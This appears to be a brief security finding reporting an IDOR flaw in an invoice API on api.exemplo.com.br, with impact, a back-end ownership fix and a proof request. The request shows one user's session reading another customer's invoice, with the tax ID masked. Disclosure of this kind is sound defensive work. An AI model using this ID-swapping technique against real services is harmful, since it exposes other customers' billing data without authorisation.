IDOR exposes other customers' invoices
- Asset
- api.exemplo.com.br — /api/v2/invoices
- Impact
- Any authenticated user can read any customer's billing data by changing the ID.
- Fix
- Enforce resource ownership on the back end for every request.
# user A's session, user B's resource GET /api/v2/invoices/10482 HTTP/2 Authorization: Bearer eyJhbGciOi…(user A) HTTP/2 200 OK {"owner":"cliente-b","cnpj":"**.***.***/0001-**",…}

